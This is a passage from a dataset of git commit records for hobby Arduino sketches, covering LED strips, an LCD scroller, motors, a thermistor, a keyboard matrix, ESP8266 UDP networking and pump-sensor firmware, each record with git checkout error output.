Serial.print(\"Blank:\"); \n Serial.print(\" \"); \n Serial.println(incomingB.blank2, HEX);\n Serial.print(\"Checksum:\"); \n Serial.print(\" \"); \n Serial.println(incomingB.checksum, HEX);\n delay(\n }\n Serial.println(\"\");\n packetLen = 0;\n mestyp = 0;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'UART\/Rx_Structs.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"8bdfb829a230ca56ec72ca7fe9d91c67be41bc06","subject":"Add code for Jasmins prototype","message":"Add code for Jasmins prototype\n","repos":"d-amend\/Gamebly","old_file":"Jasmin\/ball.ino","new_file":"Jasmin\/ball.ino","new_contents":"\/* By default, the APA102 library uses pinMode and digitalWrite\r\n * to write to the LEDs, which works on all Arduino-compatible\r\n * boards but might be slow. If you have a board supported by\r\n * the FastGPIO library and want faster LED updates, then install\r\n * the FastGPIO library and uncomment the next two lines: *\/\r\n\/\/ #include <FastGPIO.h>\r\n\/\/ #define APA102_USE_FAST_GPIO\r\n\r\n#include <APA102.h>\r\n\r\n\/\/ Define which pins to use.\r\nconst uint8_t dataPin = 13;\r\nconst uint8_t clockPin = 14;\r\n\r\n\/\/ Create an object for writing to the LED strip.\r\nAPA102<dataPin, clockPin> ledStrip;\r\n\r\n\/\/ Set the number of LEDs to control.\r\nconst uint16_t ledCount = 30;\r\n\r\n\/\/ Create a buffer for holding the colors (3 bytes per color).\r\nrgb_color colors[ledCount];\r\n\r\n\/\/ Set the brightness to use (the maximum is 31).\r\nconst uint8_t brightness = 1;\r\n\r\nconst uint16_t columnCount = 5; \/\/Spaltenanzahl\r\nconst uint16_t lineCount = 6; \/\/Zeilenanzahl\r\n\r\n\r\nvoid setup()\r\n{\r\n turnAllOff();\r\n}\r\n\r\nvoid loop()\r\n{\r\n \/\/ oneInLineByline();\r\n \/\/ lineUpAndDown();\r\n \/\/ lineByline();\r\n ballBehaviour();\r\n}\r\n\r\n\r\nvoid ballBehaviour()\r\n{\r\n uint16_t minLed = 0;\r\n uint16_t maxLed = columnCount;\r\n \/\/uint8_t direction = random(-1, 1);\r\n \/\/uint8_t ballPos = random(minLed, maxLed);\r\n uint8_t direction = 1;\r\n uint8_t ballPos = 3;\r\n uint8_t dir = 1;\r\n\r\n for(uint16_t i = 0; i < lineCount; i++)\r\n {\r\n \r\n for(uint16_t j = 0; j < ledCount; j++)\r\n {\r\n \r\n if(j == ballPos)\r\n {\r\n colors[j].red = 50;\r\n colors[j].green = 205;\r\n colors[j].blue = 50;\r\n if(j % 5 == 0)\r\n {\r\n \/\/dir = dir*(-1);\r\n direction = direction*-1;\r\n }\r\n }\r\n else\r\n {\r\n colors[j].red = 0;\r\n colors[j].green = 0;\r\n colors[j].blue = 0;\r\n }\r\n }\r\n ledStrip.write(colors, ledCount, brightness);\r\n delay(500);\r\n ballPos = ballPos + columnCount*dir - direction;\r\n }\r\n}\r\n\r\n\/\/turns all LEDs on (white)\r\nvoid turnAllOn()\r\n{\r\n ledStrip.startFrame();\r\n for(uint16_t i = 0; i < ledCount; i++)\r\n {\r\n ledStrip.sendColor(255,255,255,1);\r\n }\r\n ledStrip.endFrame(ledCount);\r\n}\r\n\r\n\/\/turns all LEDs off\r\nvoid turnAllOff()\r\n{\r\n ledStrip.startFrame();\r\n for(uint16_t i = 0; i < ledCount; i++)\r\n {\r\n ledStrip.sendColor(0,0,0,0);\r\n }\r\n ledStrip.endFrame(ledCount);\r\n}\r\n\r\n\/\/turns on a random LED in one line, line by line, beginning with the first\r\nvoid oneInLineByline()\r\n{\r\n uint16_t minLed = 0;\r\n uint16_t maxLed = columnCount;\r\n \r\n for(uint16_t i = 0; i < lineCount; i++)\r\n {\r\n uint8_t ballPos = random(minLed, maxLed);\r\n for(uint16_t j = 0; j < ledCount; j++)\r\n {\r\n \r\n if(j == ballPos)\r\n {\r\n colors[j].red = 50;\r\n colors[j].green = 205;\r\n colors[j].blue = 50;\r\n }\r\n else\r\n {\r\n colors[j].red = 0;\r\n colors[j].green = 0;\r\n colors[j].blue = 0;\r\n }\r\n }\r\n ledStrip.write(colors, ledCount, brightness);\r\n delay(500);\r\n minLed = minLed + columnCount;\r\n maxLed = maxLed + columnCount;\r\n }\r\n}\r\n\r\n\/\/turns on all LEDs in one line, line after line, beginning with first\r\nvoid lineByline()\r\n{\r\n uint16_t minLed = 0;\r\n uint16_t maxLed = columnCount;\r\n for(uint16_t i = 0; i < lineCount+1; i++)\r\n {\r\n for(uint16_t j = 0; j < ledCount; j++)\r\n {\r\n if(j >= minLed)\r\n {\r\n colors[j].red = random(0, 255);\r\n colors[j].green = random(0, 255);\r\n colors[j].blue = random(0, 255);\r\n }\r\n else\r\n {\r\n colors[j].red = 0;\r\n colors[j].green = 0;\r\n colors[j].blue = 0;\r\n } \r\n }\r\n ledStrip.write(colors, maxLed, brightness);\r\n delay(300);\r\n minLed = minLed + columnCount;\r\n maxLed = maxLed + columnCount;\r\n }\r\n}\r\n\r\n\/\/turns on LED after LED following the line and \r\n\/\/turning them off again in the other direction\r\nvoid lineUpAndDown()\r\n{\r\n for(uint16_t i = 0; i < ledCount; i++)\r\n {\r\n ledStrip.startFrame();\r\n for(uint16_t j = 0; j < ledCount; j++)\r\n {\r\n if(j <= i) \r\n {\r\n \/\/ledStrip.sendColor(random(0,255),random(0,255),random(0,255),brightness);\r\n ledStrip.sendColor(55,205,55,brightness);\r\n }\r\n else\r\n {\r\n ledStrip.sendColor(0,0,0,0);\r\n }\r\n }\r\n ledStrip.endFrame(ledCount);\r\n delay(100);\r\n }\r\n\r\n for(uint16_t i = 0; i < ledCount; i++)\r\n {\r\n ledStrip.startFrame();\r\n for(uint16_t j = 0; j < ledCount; j++)\r\n {\r\n if(j <= ledCount-i) \r\n {\r\n ledStrip.sendColor(random(0,255),random(0,255),random(0,255),brightness);\r\n }\r\n else\r\n {\r\n ledStrip.sendColor(0,0,0,0);\r\n }\r\n }\r\n ledStrip.endFrame(ledCount);\r\n delay(100);\r\n }\r\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Jasmin\/ball.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"41eabf06040c37a4b0c9c38f1efeeaf025eee3bd","subject":"automated wifi connect, start\/close connection","message":"automated wifi connect, start\/close connection\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/wifi_test\/wifi_test.ino","new_file":"unit tests\/wifi_test\/wifi_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/wifi_test\/wifi_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f5135d30ff65dac5e56cb983360cbdf28d3b7f95","subject":"Setup walking tekst","message":"Setup walking tekst\n","repos":"IrisEdelsmid\/arduinoFun","old_file":"LCD\/LCD_walking_tekst\/LCD_walking_tekst.ino","new_file":"LCD\/LCD_walking_tekst\/LCD_walking_tekst.ino","new_contents":"\/*\n The circuit'setup:\n * LCD RS pin to digital pin 12\n * LCD Enable pin to digital pin 11\n * LCD D4 pin to digital pin 5\n * LCD D5 pin to digital pin 4\n * LCD D6 pin to digital pin 3\n * LCD D7 pin to digital pin 2\n * LCD R\/W pin to ground\n * LCD VSS pin to ground\n * LCD VCC pin to 5V\n * 10K resistor:\n * ends to +5V and ground\n * wiper to LCD VO pin (pin 3)\n\n I Iris Edelsmid and Bas ter Bogt wrote this code, after inspiration from this tutorial:\n http:\/\/www.arduino.cc\/en\/Tutorial\/LiquidCrystal\n *\/\n#include <LiquidCrystal.h> \/* include the library code:*\/\n\n LiquidCrystal lcd(12, 11, 5, 4, 3, 2); \/* initialize the library with the numbers of the interface pins*\/\n int screenWidth = 16; \/* Because this value is used more than once we'll make it a variable. so you onlye have to change this value*\/\n String line1 = (\" Bas is cool! <3 \"); \/*This is the displayed tekst, lateron in the code we'll call it line1 or line2*\/\n String line2 = (\"Iris is normaal.\");\n int startPosition = -line1.length(); \/* We want it to look like the tekst scrolls into the screen rather than start and disapear to the right*\/\n int currentPosition = startPosition;\n\nvoid setup() \n{\n \/\/ set up the LCD's number of columns and rows:\n lcd.begin(screenWidth, 2);\n}\n\nvoid loop() \n{\n lcd.clear();\n bas(currentPosition);\n currentPosition = (++currentPosition<=screenWidth ) ? currentPosition : startPosition;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LCD\/LCD_walking_tekst\/LCD_walking_tekst.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"62027d058402c1e4c8ba0e36390401b92e43c882","subject":"added the code to activate motors with button","message":"added the code to activate motors with button\n","repos":"ZacVND\/IEP-Challenge-2,ZacVND\/IEP-Challenge-2,ZacVND\/IEP-Challenge-2,ZacVND\/IEP-Challenge-2,ZacVND\/IEP-Challenge-2","old_file":"button_to_motor.ino","new_file":"button_to_motor.ino","new_contents":"\n\nconst int buttonPin = PUSH2; \/\/ the number of the pushbutton pin\nconst int motor1 = P2_1;\nconst int motor2 = P2_2;\nconst int probe = P1_5;\n\/\/ the number of the LED pin\nint buttonState = 0;\nint probeValue = 0;\nint total = 0;\nint divisor = 1;\n\/\/ variable for reading the pushbutton status\nvoid setup() {\n \/\/ initialize the LED pin as an output:\n Serial.begin(9600);\n pinMode(motor1, OUTPUT); \n pinMode(motor2, OUTPUT);\n pinMode(probe, INPUT); \n \/\/ initialize the pushbutton pin as an input:\n pinMode(buttonPin, INPUT_PULLUP); \n}\nvoid loop()\n{\n \/\/ read the state of the pushbutton value:\n buttonState = digitalRead(buttonPin);\n probeValue = analogRead(probe);\n\n Serial.println(total\/divisor);\n \n total += probeValue;\n divisor++;\n \n\n \n \/\/Serial.println(buttonState);\n \/\/ check if the pushbutton is pressed.\n \/\/ if it is, the button State is HIGH:\n if (buttonState == LOW) \n { \n \/\/ turn high on: \n digitalWrite(motor1, HIGH); \n digitalWrite(motor2, HIGH); \n } \n else {\n \/\/ turn LED off:\n digitalWrite(motor1, LOW);\n digitalWrite(motor2, LOW); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'button_to_motor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"992fc805ad3262c8cf94127de4aa94879d3f89c1","subject":"przeniesienie","message":"przeniesienie\n","repos":"igos\/flualert,igos\/flualert,igos\/flualert,igos\/flualert","old_file":"Arduino\/temperatura\/temperatura.ino","new_file":"Arduino\/temperatura\/temperatura.ino","new_contents":"#include <math.h>\n#define ThermistorPIN 0 \/\/ Analog Pin 0\nfloat pad = 9850; \/\/ balance\/pad resistor value, set this to\n \/\/ the measured resistance of your pad resistor\nfloat thermr = 10000; \/\/ nomilana rezystancja thermistor\n\nfloat Thermistor(int RawADC) {\n long Resistance; \n float Temp;\n Resistance=((1024 * pad \/ RawADC) - pad); \n Temp = log(Resistance); \/\/optymalizacja\n Temp = 1 \/ (0.001129148 + (0.000234125 * Temp) + (0.0000000876741 * Temp * Temp * Temp));\n Temp = Temp - 273.15;\n return Temp;\n}\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n float temp;\n temp=Thermistor(analogRead(ThermistorPIN)); \/\/ odczytaj\n Serial.print(\"Celsius: \"); \n Serial.print(temp,1); \/\/ temperatura w st.C\n Serial.println(\"\"); \n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/temperatura\/temperatura.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8ce8ac2c3b771bed407168c5682d8d1f1a1040d9","subject":"Initial commit","message":"Initial commit\n","repos":"Mambix\/Keyduino,Mambix\/Keyduino,Mambix\/Keyduino","old_file":"src\/keyduino\/keyduino.ino","new_file":"src\/keyduino\/keyduino.ino","new_contents":"\/\/ Rows\nint ROWS[] = {PD3, PD2, PD1, PD0, PD4, PC6, PD7, PE6, PB4, PB5, PB6};\n\n\/\/ Columns\nint EN = PF7;\nint CLK = PB3;\nint DATA = PB1;\nint LATCH = PB2;\n\nint Row = 0;\nbyte Led = 0;\n\nvoid setup() {\n Serial.begin(115200);\n delay(1000);\n Serial.print(\"Keyduino v0.1\\r\\n\");\n \n \/\/ put your setup code here, to run once:\n pinMode(PD5, OUTPUT);\n\n for (int i = 0; i<11; i++) {\n pinMode(ROWS[i], OUTPUT);\n }\n\n pinMode(EN, OUTPUT);\n pinMode(LATCH, OUTPUT);\n pinMode(CLK, OUTPUT);\n pinMode(DATA, INPUT);\n\n digitalWrite(EN, HIGH);\n digitalWrite(LATCH, HIGH);\n digitalWrite(CLK, HIGH);\n}\n\nbyte sendClockPulse() {\n digitalWrite(CLK, LOW);\n delay(1);\n byte ret = digitalRead(DATA);\n digitalWrite(CLK, HIGH);\n delay(1);\n return ret;\n}\n\nunsigned int readKeyboard() {\n unsigned int ret = 0;\n byte tmp = 0;\n\n \/\/Parallel load\n digitalWrite(EN, HIGH);\n delay(1);\n digitalWrite(LATCH, LOW);\n delay(1);\n digitalWrite(LATCH, HIGH);\n\n \/\/Serial shift\n digitalWrite(EN, HIGH);\n delay(1);\n \n tmp = sendClockPulse();\n tmp = sendClockPulse();\n\n for (byte i=0; i<16; i++) {\n tmp = sendClockPulse();\n if (tmp == 1) {\n ret |= 0x0001;\n }\n ret = ret << 1;\n }\n return ret;\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n digitalWrite(ROWS[Row], HIGH);\n delay(25);\n unsigned int key = readKeyboard();\n Serial.print(key, HEX);\n Serial.print(\"\\r\\n\");\n digitalWrite(ROWS[Row], LOW);\n delay(25);\n\n if (Row++ >= 11) {\n Serial.print(\"Row zero...\\r\\n\");\n Row = 0;\n }\n\/\/ int LED = Led++ & 0x80;\n\/\/ if (LED > 0) {\n\/\/ digitalWrite(PD5, HIGH);\n\/\/ } else {\n\/\/ digitalWrite(PD5, LOW);\n\/\/ }\n\/\/ delay(25);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/keyduino\/keyduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7a499ea0485450ca5b6597fd8f7eec66437abfc6","subject":"no debug output","message":"no debug output\n\nwill come back later\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"1a86edbe17d23561a1f89a5a8a42bcedeebc9a8f","subject":"Update Demo2_stepper_speedControl.ino","message":"Update Demo2_stepper_speedControl.ino","repos":"futureshocked\/arduino_sbs,futureshocked\/arduino_sbs,futureshocked\/arduino_sbs","old_file":"Stepper motors\/Demo2_stepper_speedControl\/Demo2_stepper_speedControl.ino","new_file":"Stepper motors\/Demo2_stepper_speedControl\/Demo2_stepper_speedControl.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Stepper' did not match any file(s) known to git\nerror: pathspec 'motors\/Demo2_stepper_speedControl\/Demo2_stepper_speedControl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0db269e208f70a39c787347b105ff998da090fab","subject":"Create AM2320lib_example.ino","message":"Create AM2320lib_example.ino","repos":"thakshak\/AM2320","old_file":"AM2320lib_example.ino","new_file":"AM2320lib_example.ino","new_contents":"#include <Wire.h>\n#include <AM2320.h>\nAM2320 th;\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n \n Serial.println(\"---------------\");\n Serial.print(\"humidity: \");\n Serial.print(th.getHumidity());\n Serial.print(\"%\");\n Serial.print(\"|| temperature: \");\n Serial.print(th.getTemperature());\n Serial.println(\"*C\");\n Serial.println(\"---------------\");\n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AM2320lib_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6785150a7cd1db32d04c486c72b7686a7a2db409","subject":"Initial commit (test sketch)","message":"Initial commit (test sketch)\n","repos":"Cytrill\/frmwr","old_file":"test.ino","new_file":"test.ino","new_contents":"\/*\n * This sketch sends data via HTTP GET requests to data.sparkfun.com service.\n *\n * You need to get streamId and privateKey at data.sparkfun.com and paste them\n * below. Or just customize this script to talk to other HTTP servers.\n *\n *\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiUdp.h>\n\nconst char* ssid = \"HaSi-Kein-Internet-Legacy\";\nconst char* password = \"bugsbunny\";\n\nconst char* host = \"10.23.42.176\";\nconst int port = 1337;\n\nWiFiClient client;\nWiFiUDP udp;\n\nchar packetBuffer[255];\nIPAddress serverIP(10, 23, 42, 176);\n\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n udp.begin(port);\n}\n\nvoid sendPacket(char* packet)\n{\n udp.beginPacket(serverIP, port);\n udp.write(packet);\n udp.endPacket();\n}\n\nvoid loop() {\n delay(5000);\n\n char cmd[] = { 0xFF, 0x80 };\n\n for (int i = 0; i < 8; i++)\n {\n sendPacket(cmd);\n cmd[1] >>= 1;\n delay(1000);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"fec5f906b70cb239b63b7dbbfa4b1d9d225462a7","subject":"Create Imnotthere.ino","message":"Create Imnotthere.ino","repos":"Fupete\/ID2-2015,Fupete\/ID2-2015-UNIRSM,fraguz\/ID2-2015,Fupete\/ID2-2015,fraguz\/ID2-2015,Fupete\/ID2-2015-UNIRSM","old_file":"3_dataphys\/Francesca\/Code\/Imnotthere.ino","new_file":"3_dataphys\/Francesca\/Code\/Imnotthere.ino","new_contents":"#include <Servo.h>\n\nServo myservo;\n\nvoid setup()\n{\n myservo.attach(8);\n \n \n}\n\nvoid loop() {\n\n myservo.write(180); \/\/ 0 max velocity in one direction while 180 in the other, 90 no movement\n delay(100);\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '3_dataphys\/Francesca\/Code\/Imnotthere.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"de5d3a93be7b3223aaad183095d9e4038af6ed41","subject":"Added _firmware3","message":"Added _firmware3\n","repos":"Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network","old_file":"Arduino\/_firmware3\/_firmware3.ino","new_file":"Arduino\/_firmware3\/_firmware3.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SENSOR NETWORK FIRMWARE\n\/\/\n\/\/ This is the code for the sensor node. It integrates the following SENSORS\/ACTUATORS \n\/\/ and prints data to the serial monitor. \n\/\/ 1. Temperature Sensors.\n\/\/ At various locations around the pump\n\/\/ 2. Shaft Temperature Sensor\n\/\/ This uses an IR temperature sensor and is measured with an interrupt on the rising edge of \n\/\/ the sensor's waveform.\n\/\/ 3. Tachometer\n\/\/ Measuring the rpms of the motor shaft. It has an optical sensor that measures the black mark\n\/\/ on the rotating shaft to determine each revolution. It also triggers an interrupt on the rising \n\/\/ edge of the sensor's waveform.\n\/\/ 4. Load Washers 1 & 2\n\/\/ 5. Level Sensor\n\/\/ 6. Solenoid Drain Valve\n\/\/ 7. The Serial Monitor\n\/\/ 8. Flow Sensor. \n\/\/ The data from each sensor is printed on the serial monitor. The data on the serial monitor will be picked up\n\/\/ by the Zigbee module and automatically transmitted to the base node. (Remember to toggle switch on shield to SERIAL)\n\/\/ 9. Software Serial to FFT\n\/\/10. Node Metadata\n#include <SoftwareSerial.h>\n\n\n\/\/Analog sensors\n\/\/+5V Position Sensor\n\/\/+3.3V Fluid Leve\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 0. NODE ID\nString NODE_ID = \"1\";\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 1. SERIAL MONITOR\nunsigned int long PRINT_DELAY = 2000;\nunsigned int long last_print_time = 0;\nString data;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 2. POSITION SENSORs\n\nint positionSignal1 = A0; \/\/J9 Connector\nint positionSignal2= A1; \/\/J10 Connector\ndouble position1 = 0;\ndouble position2 = 0;\nString position1_mm = \"0.0\";\nString position2_mm = \"0.0\";\n\nvoid position_sensors(){\n position1 = analogRead(positionSignal1);\n position2 = analogRead(positionSignal2);\n position1_mm = String(position1 * 12.7 \/ 1023);\n position2_mm = String(position2 * 12.7 \/ 1023);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 3. FLUID LEVEL SENSOR\nint levelSensorPin = A3; \/\/J6 Connector\n\nint index_water=0;\n\n\/\/Insert Calibration Data Here: Level = AX + B format (rounded to the nearest integer N)\n\/\/X is the water depth in cm\n\/\/A is the calibration slope in levels \/ cm\n\/\/B is the reference level\ndouble A_water_rate = 12.125;\ndouble B_water_reference_level = 300;\ndouble vesicle_diameter_cm = 11.43;\/\/4.5 inch x 2.54 cm \/ inch\ndouble vesicle_area_cm_2 = (3.14159) * (vesicle_diameter_cm \/ 2) * (vesicle_diameter_cm \/ 2);\n\n\/\/Initialize variables\nboolean initialize = true;\nint analog_water_level = 0;\nconst int water_level_sample_window = 30;\ndouble water_level_samples[water_level_sample_window];\ndouble water_level_cm = 0;\ndouble flow_calc_water_level_cm = 0;\nunsigned long calc_time_ms = 0;\n\nvoid fluid_level_sensor(){\n analog_water_level = analogRead(levelSensorPin);\n \/\/ Serial.print (\"Water level: \");\n \/\/Serial.println (analog_water_level);\n \/\/ delay (250);\n \/\/ Stores samples\n water_level_samples[index_water] = ( analog_water_level - B_water_reference_level ) \/ A_water_rate;\n\n\/\/\/\/take the average over the window\n\/\/if(index_water==0){\nfor (int i = 0 ; i< water_level_sample_window; i++){\n water_level_cm+= water_level_samples[index_water];\n }\n water_level_cm = water_level_cm \/ water_level_sample_window;\n\/\/}\n index_water = index_water%water_level_sample_window;\n\n\/\/\/\/Set the reference water level for a calculation (when appropriate)\n if(initialize==true){\n \/\/Serial.println(\"Re-initializing water states\");\n flow_calc_water_level_cm = water_level_cm;\n calc_time_ms = millis();\n initialize=false;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\/\/ 4. SOLENOID DRAIN VALVE\n\n\nint solenoidValvePin = 12; \/\/Pin controlling the valve\nint drain_at_cm_level = 12; \/\/5 inches \nint close_valve_at_cm_level = 5.08; \/\/2 inches\n\nboolean solenoid_valve_open = false;\nString flow_rate_cc_per_sec = \"0.0\";\nfloat water_level_buffer=1; \/\/The water level buffer is how much the water level should increase before calculating a new flow rate\n\nvoid solenoid_drain_valve(){\n \/\/Start the drain if the water level is too high\n if(water_level_cm >= drain_at_cm_level){\n \/\/TODO: If water level is way too high, then water is accumulating so send the operator a warning message\n digitalWrite(solenoidValvePin,HIGH);\n solenoid_valve_open = true;\n }\n\n\n \/\/Calculate the flow rate\n if (solenoid_valve_open == false){ \n if (water_level_cm >= (flow_calc_water_level_cm + water_level_buffer)){\n \/\/Serial.println(\"CALCULATION TRIGGERED!\");\n double water_level_delta = water_level_cm - flow_calc_water_level_cm;\n double time_delta = millis() - calc_time_ms;\n \/\/Serial.println(water_level_delta);\n \/\/ Serial.println(time_delta\/1000);\n flow_rate_cc_per_sec = String(( water_level_delta ) \/ (time_delta\/1000));\n \n \/\/set the last calculation references\n flow_calc_water_level_cm = water_level_cm;\n calc_time_ms = millis();\n }\n }\n \n if (solenoid_valve_open == true && water_level_cm <= close_valve_at_cm_level){\n digitalWrite(solenoidValvePin,LOW);\n solenoid_valve_open = false;\n initialize=true;\n }\n\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 5. TACHOMETER\nconst byte TACH = 2;\ndouble duration = 1;\nvolatile boolean revolution_occured = false; \ndouble revolution_count = 0;\nunsigned int current_time = 0;\nunsigned int previous_time = 0;\nString rpm = \"0.0\";\n\n\/\/ Tachometer Interrupt Service Routine (ISR)\n\nvoid revolution (){\n revolution_occured = true;\n}\n\nvoid tachometer_sensor(){\n \/\/ Check if tach was triggered\n if (revolution_occured) {\n revolution_count ++;\n revolution_occured = !revolution_occured;\n } \n}\n\nvoid rpm_calculation(){\n detachInterrupt(0);\n detachInterrupt(1);\n duration = millis() - last_print_time;\n rpm = String(revolution_count \/ (duration\/1000) * 60);\n revolution_count = 0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\/\/ 6. FLOW SENSOR\n\n\n\/\/ which pin to use for reading the sensor? can use any pin!\n#define FLOWSENSORPIN 3\n\n\/\/ count how many pulses!\nvolatile uint16_t pulses = 0;\nlong int last_pulses = 0;\n\/\/ track the state of the pulse pin\nvolatile uint8_t lastflowpinstate;\n\/\/ you can try to keep time of how long it is between pulses\nvolatile uint32_t lastflowratetimer = 0;\n\/\/ and use that to calculate a flow rate\nvolatile float flowrate;\n\/\/ Interrupt is called once a millisecond, looks for any pulses from the sensor!\nfloat liters = 0;\nbool flowTrigger = false;\n\nString flowrate_str = \"0.0\";\n\nvoid flowCalc(){\n flowTrigger = true;\n}\n\nvoid flow_rate_sensor(){\n \/\/ Serial.print(\"Freq: \"); Serial.println(flowrate);\n\/\/ Serial.print(\"Pulses: \"); Serial.println(pulses, DEC);\n \n \/\/ if a plastic sensor use the following calculation\n \/\/ Sensor Frequency (Hz) = 7.5 * Q (Liters\/min)\n \/\/ Liters = Q * time elapsed (seconds) \/ 60 (seconds\/minute)\n \/\/ Liters = (Frequency (Pulses\/second) \/ 7.5) * time elapsed (seconds) \/ 60\n \/\/ Liters = Pulses \/ (7.5 * 60)\n\n if (flowTrigger){\n pulses++;\n flowTrigger = !flowTrigger;\n }\n\n \n liters = pulses;\n liters \/= 7.5;\n liters \/= 